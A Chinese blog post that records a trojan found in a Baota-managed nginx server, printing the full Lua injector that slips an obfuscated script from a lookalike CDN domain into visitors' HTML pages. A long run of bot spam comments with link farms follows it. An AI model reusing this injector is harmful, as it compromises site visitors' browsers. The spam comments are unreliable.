宝塔 ngnix 被加载js木马

想入飞飞7个月前记录3879
header_filter_by_lua_block{
	ngx.header.content_length = nil
}
body_filter_by_lua_block{
	local bt_request_uri = ngx.var.request_uri;
	local h, err = ngx.resp.get_headers()
	local remote_js = "htt".."ps://cd".."n.boot".."scdn".."s.org/aja".."x/lib".."s/jquer".."y/3.".."6"..".4/jquer".."y.js"

	function string.startsWith(String,Start)
		return string.sub(String,1,string.len(Start))==Start
	end
	if not ( string.find(string.lower(ngx.req.get_headers()['User-Agent']),"windows") or string.find(string.lower(ngx.req.get_headers()['User-Agent']),"macintosh") ) and h["Content-Type"] and string.startsWith(h["Content-Type"],"text/html") and ( ngx.status==200 or ngx.status==401 or ngx.status==403 or ngx.status==404 ) and not string.find (bt_request_uri,"admin") and (ngx.var.scheme=="http" or ngx.var.scheme=="https") then
		local ctx = ngx.ctx
		if ctx.buffers == nil then
			ctx.buffers = {}
			ctx.nbuffers = 0
		end

		local data = ngx.arg[1]
		local eof = ngx.arg[2]
		local next_idx = ctx.nbuffers + 1

		if not eof then
			if data then
				if string.find(data,"</head") and not string.find(data,remote_js) then
					data = string.gsub(data, "</head", "<scrip".."t type=\"text/javascript\" src=\""..remote_js.."\"></script>\r\n</head",1)
				end
				ctx.buffers[next_idx] = data
				ctx.nbuffers = next_idx
				ngx.arg[1] = nil
			end
			return
		elseif data then
			if string.find(data,"</head") and not string.find(data,remote_js) then
				data = string.gsub(data, "</head", "<scrip".."t type=\"text/javascript\" src=\""..remote_js.."\"></script>\r\n</head",1)
			end
			ctx.buffers[next_idx] = data
			ctx.nbuffers = next_idx
		end
		assert(ctx.buffers)
		assert(ctx.nbuffers ~= 0, "buffer must not be empty")

		ngx.arg[1] = table.concat(ngx.ctx.buffers)
	end
}


文件位置:/www/server/panel/vhost/nginx/lua.conf



相关文章

Clash for Windows 中文汉化教程 Clash for Windows 订阅下载

Clash for Windows 中文汉化教程 Clash for Windows 订阅下载

Clash 是由Dreamacro 开发的,是一个使用Go 开发的、基于规则的隧道,无需服务器和虚拟主机,在中国大陆地区可用于突破防火长城的限制。 2020 年末,Dreamacro在GitHub仓库...

帝国CMS 7.5 数据库重置管理员密码方法教程

通过phpmyadmin登录MYSQL数据库修改管理员密码。1.登陆到phpmyadmin,找到你的网站对应帝国CMS数据库;2.找到******_enewsuser数据表,这个表放着后台的所有用户。...

用JS屏蔽限制或者禁止某一地区访问网站代码

网上有老友分享的屏蔽地区代码可以用,但是我拿过来用的时候有一个问题他用到了JavaScript 库和网站的js有冲突,导致出现一些问题,后来就改了不下面代码是集源码用于屏蔽限制或者禁止某一地区访问网站...

帝国cms 自定义列表建立tag效果 根据关键字调用

统计记录:(如:select count(*) as total from phome_ecms_news where classid=1 and checked=1)注:这句SQL的意思是查找统计位...

帝国CMS批量提取新闻正文内容的第一张图片作为标题缩略图的SQL语句

执行以下脚本的时候请 先备份数据库!文本存放的新闻正文字段不可用!新闻正文字段作为主表的情况用以下语句:update  phome_ecms_news  set...

免费申请SSL证书:Certbot快速申请自动续订https域名证书

免费申请SSL证书:Certbot快速申请自动续订https域名证书

Certbot 是一个免费的开源软件工具,用于在手动管理的网站上自动使用Let's Encrypt证书以启用 HTTPS。Certbot 由电子前沿基金会 (EFF) 开发,这是一家位于加利福...

评论列表

游客
2024-07-09 04:00:13

不是惊喜,是惊吓!http://ff9.lwwenyuan.com.cn

游客
2024-07-09 17:05:14

这位作者的文笔极其出色,用词精准、贴切,能够形象地传达出他的思想和情感。http://qrli1.lwwenyuan.com.cn

游客
2024-07-09 19:34:25

我对楼主的敬仰犹如滔滔江水绵延不绝!http://fng.lwwenyuan.com.cn

游客
2024-07-09 20:39:31

楼主内心很强大!http://sxeb2.fulongban.com

游客
2024-07-09 20:44:59

看了这么多帖子,第一次看看到这么有内涵的!http://0yt.fulongban.com

游客
2024-07-11 05:51:28

楼主的头像能辟邪啊!http://bdzi.xinqiaotouzi.com

游客
2024-07-11 12:30:42

读了楼主的帖子,顿时马桶就通了。。。http://atf8cx.kdfcm.com

游客
2024-07-11 12:37:55

楼主的头像能辟邪啊!http://yqjv.gz-fjly.com

游客
2024-07-11 13:42:43

终于看完了,很不错!http://bx1y23.qxhygdjj.cn

游客
2024-07-11 13:47:18

这么好的帖子,应该加精华!http://h7t.qxhygdjj.cn

游客
2024-07-11 13:57:44

楼主是在找骂么?http://k2o8.haixinlawyer.cn

游客
2024-07-11 14:09:03

一口气看完了,我要下去回味回味了!http://scx4.qxhygdjj.cn

游客
2024-07-11 14:18:52

小弟默默的路过贵宝地~~~http://cyr.aojia168.com

游客
2024-07-11 14:25:16

好无聊啊!http://lyqe9.wznew.com

游客
2024-07-11 15:05:09

宇宙第一贴诞生了!http://v8uxxs.haixinlawyer.cn

游客
2024-07-11 15:06:44

刚看见一个妹子,很漂亮!http://ians.sh-maiji.com

游客
2024-07-11 15:32:31

文章写太挺好了,真的值得推荐http://35y.fortune3s.com

游客
2024-07-11 15:45:42

收藏了,楼主加油!http://bv0dq.haixinlawyer.cn

游客
2024-07-11 15:55:26

楼上的真不讲道理!http://www.gxmlm.com

游客
2024-07-11 15:56:45

楼主最近很消极啊!http://8j4.aojia168.com

游客
2024-07-11 16:37:28

今天是个特别的日子,值得纪念!http://1vb4.shchengjian.cn

游客
2024-07-11 16:41:31

楼主很有艺术范!http://8f0.aojia168.com

游客
2024-07-11 16:48:12

这篇文章真是让人受益匪浅!http://82q5o.aojia168.com

游客
2024-07-11 16:48:30

支持一下!http://xgiul.aojia168.com

游客
2024-07-11 17:21:44

刚看见一个妹子,很漂亮!http://1jpcm.ligsoon.com

游客
2024-07-11 17:21:55

强,我和我的小伙伴们都惊呆了!http://ytnf.zcyyht.com

游客
2024-07-11 17:36:10

白富美?高富帅?http://wug.21ddos.com

游客
2024-07-11 17:42:44

回帖也有有水平的!http://www.2qukuai.com

游客
2024-07-11 18:08:00

最近回了很多帖子,都没人理我!http://59e.sh-maiji.com

游客
2024-07-11 19:07:49

楼主很有艺术范!http://k9t.yuchen-ch.com

游客
2024-07-11 19:10:50

写的太好啦,评论一个http://1w5gd3.yuchen-ch.com

游客
2024-07-11 19:16:52

世界末日我都挺过去了,看到楼主我才知道为什么上帝留我到现在!http://l0skj.yypfk.com

游客
2024-07-11 19:55:11

雷锋做好事不留名,都写在帖子里!http://s7h22.yjgjpfw.com/07/5.html

游客
2024-07-11 19:57:25

帖子好乱!http://61t.0792qx.com

游客
2024-07-11 19:57:34

有品位!http://k8de2.yuchen-ch.com

游客
2024-07-11 20:09:19

楼主的帖子提神醒脑啊!http://1n0.ljhuiyi.com

游客
2024-07-11 20:17:37

好帖子!http://d34k.0792qx.com

游客
2024-07-11 21:02:38

关注一下!http://rt369.603lens.com

游客
2024-07-11 21:02:57

听楼主一席话,省我十本书!http://7qorm5.shchengjian.cn

游客
2024-07-11 21:05:19

楼主发几张靓照啊!http://xry2m.gz-fjly.com

游客
2024-07-11 21:42:58

收藏了,楼主加油!http://bfrc1.603lens.com

游客
2024-07-11 21:59:57

白富美?高富帅?http://w0x5uc.qxhygdjj.cn

游客
2024-07-11 22:04:14

楼主很有激情啊!http://snpn.tjhxjsfz.com

游客
2024-07-11 22:20:58

灌水不是我的目的!http://1sr4l2.fengxinw.com

游客
2024-07-11 22:21:20

刚看见一个妹子,很漂亮!http://xanif0.zcyyht.com

游客
2024-07-11 23:06:52

楼主的头像能辟邪啊!http://i04t.xinbaoluo.cn

游客
2024-07-11 23:10:58

突然觉得楼主说的很有道理,赞一个!http://5v8.fengxinw.com

游客
2024-07-11 23:16:05

怪事年年有,今年特别多!http://ql5.ykyfwj.com

游客
2024-07-11 23:34:31

好帖子!http://n8tyw.fengxinw.com

游客
2024-07-11 23:51:09

看了这么多帖子,第一次看看到这么有内涵的!http://ww24.behrens-immobilien.com

游客
2024-07-11 23:53:28

收藏了,以后可能会用到!http://wvjgq3.behrens-immobilien.com

游客
2024-07-12 00:00:01

我和我的小伙伴都惊呆了!http://dlx531.fengxinw.com

游客
2024-07-12 00:11:04

我回帖楼主给加积分吗?http://ioaz.xinbaoluo.cn

访客
2024-07-12 00:24:53

微商货源网https://ccc444.com

游客
2024-07-12 00:49:53

这么经典的话只有楼主能想到!http://4di9.gz-fjly.com

游客
2024-07-12 02:01:45

今天是个特别的日子,值得纪念!http://s43c.ljhuiyi.com

游客
2024-07-12 02:58:02

哥回复的不是帖子,是寂寞!http://48urhz.haixinlawyer.cn

游客
2024-07-12 03:33:11

看帖不回帖都是耍流氓!http://x9vh94.terri.com.cn

游客
2024-07-12 03:37:43

态度决定一切,不错!http://dplhr.aojia168.com

游客
2024-07-12 03:37:47

这么版块的帖子越来越有深度了!http://8l8xhj.aojia168.com

游客
2024-07-12 03:40:08

你觉得该怎么做呢?http://eef.xxjx.net

游客
2024-07-12 04:01:23

读了楼主的帖子,顿时马桶就通了。。。http://8bhi.aojia168.com

游客
2024-07-12 04:07:49

我就搞不明白了,看帖回帖能死人么,居然只有我这么认真的在回帖!http://yebv4.4006005517.com

游客
2024-07-12 04:18:48

内容很有深度!http://rs2ae6.ligsoon.com

游客
2024-07-12 04:34:01

楼主是男的还是女的?http://h6r.tiyimei.com

游客
2024-07-12 04:42:31

很多天不上线,一上线就看到这么给力的帖子!http://232kwj.alixinxi.vip

游客
2024-07-12 04:42:42

投楼主一票,不用谢哦!http://yg8.sxasfj.com

游客
2024-07-12 04:43:08

楼上的很有激情啊!http://o0s3.alixinxi.vip

游客
2024-07-12 05:01:44

楼主该去看心理医生了!http://wzt.sh-maiji.com

游客
2024-07-12 05:13:24

关注一下!http://2vmj.fengxinw.com

游客
2024-07-12 05:13:29

顶顶更健康!http://c8q7vw.sh-maiji.com

游客
2024-07-12 06:06:58

这个帖子会火的,鉴定完毕!http://hanvg.ccsylxz.com/01/4.html

游客
2024-07-12 06:29:46

收藏了,很不错的内容!http://3ms.yuchen-ch.com

游客
2024-07-12 07:13:18

论坛人气好旺!http://6y4725.0792qx.com

游客
2024-07-12 07:13:27

内容很有深度!http://v5azcw.0792qx.com

游客
2024-07-12 07:27:32

今天过得很不爽!http://no7m.fengxinw.com

游客
2024-07-12 07:49:47

这么经典的话只有楼主能想到!http://8g7bu.nd16.com

游客
2024-07-12 07:51:43

坚持回帖!http://sdg.shchengjian.cn

游客
2024-07-12 08:16:49

勤奋灌水,天天向上!http://i53i.iekpay.com

游客
2024-07-12 08:16:50

很有看点!http://nlpme.253fe.com/20240712/3.html

游客
2024-07-12 08:28:02

顶顶更健康!http://uds70.603lens.com

游客
2024-07-12 08:28:40

这位作者的文笔极其出色,用词精准、贴切,能够形象地传达出他的思想和情感。http://0q6ut0.jyw119.com

游客
2024-07-12 08:31:45

哥回复的不是帖子,是寂寞!http://9m17.ysthotel.com

游客
2024-07-12 09:08:45

楼上的这是啥态度呢?http://ny4qm.lszlszwdgg.com/07/5.html

游客
2024-07-12 10:26:38

经典,收藏了!http://sge.fengxinw.com

游客
2024-07-12 11:10:31

顶顶更健康!http://4gjmp.yjgjpfw.com/07/3.html

游客
2024-07-12 12:24:53

楼主写的很经典!http://agy0l.dnfxongba.com/20240712/3.html

游客
2024-07-12 12:41:21

好无聊啊!http://l7r37.308520.com/2024/5.html

游客
2024-07-12 12:44:33

好好学习楼主的帖子!http://khr.0991game.com

游客
2024-07-12 14:40:55

有内涵!http://fxyd4.21es.cn

游客
2024-07-12 15:23:47

每天顶顶贴,一身轻松啊!http://1l4k.fengxinw.com

游客
2024-07-12 16:18:12

今天过得很不爽!http://f9c.fengxinw.com

游客
2024-07-12 16:28:23

态度决定一切,不错!https://www.eny365.com/countryside/static/cqjylist/all/all/000000/24.html

游客
2024-07-12 17:42:01

楼主的帖子越来越有深度了!http://cqeu0.lsptf.com/R/5.html

游客
2024-07-12 18:02:40

收藏了,楼主加油!http://77cai.cn/news/5f399634.html

游客
2024-07-12 19:21:12

读了楼主的帖子,顿时马桶就通了。。。http://ytbt.cn/news/62b399577.html

游客
2024-07-12 20:30:26

很多天不上线,一上线就看到这么给力的帖子!http://4xn.519ly55.com

游客
2024-07-12 21:59:49

怎么我回帖都没人理我呢?http://35w.gzhkzyxy.com

游客
2024-07-12 22:22:34

看在楼主的面子上,认真回帖!http://longkangys.cn/news/73b399566.html

游客
2024-07-12 23:07:16

刚看见一个妹子,很漂亮!http://kxlie.zhengshanwang.cn

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。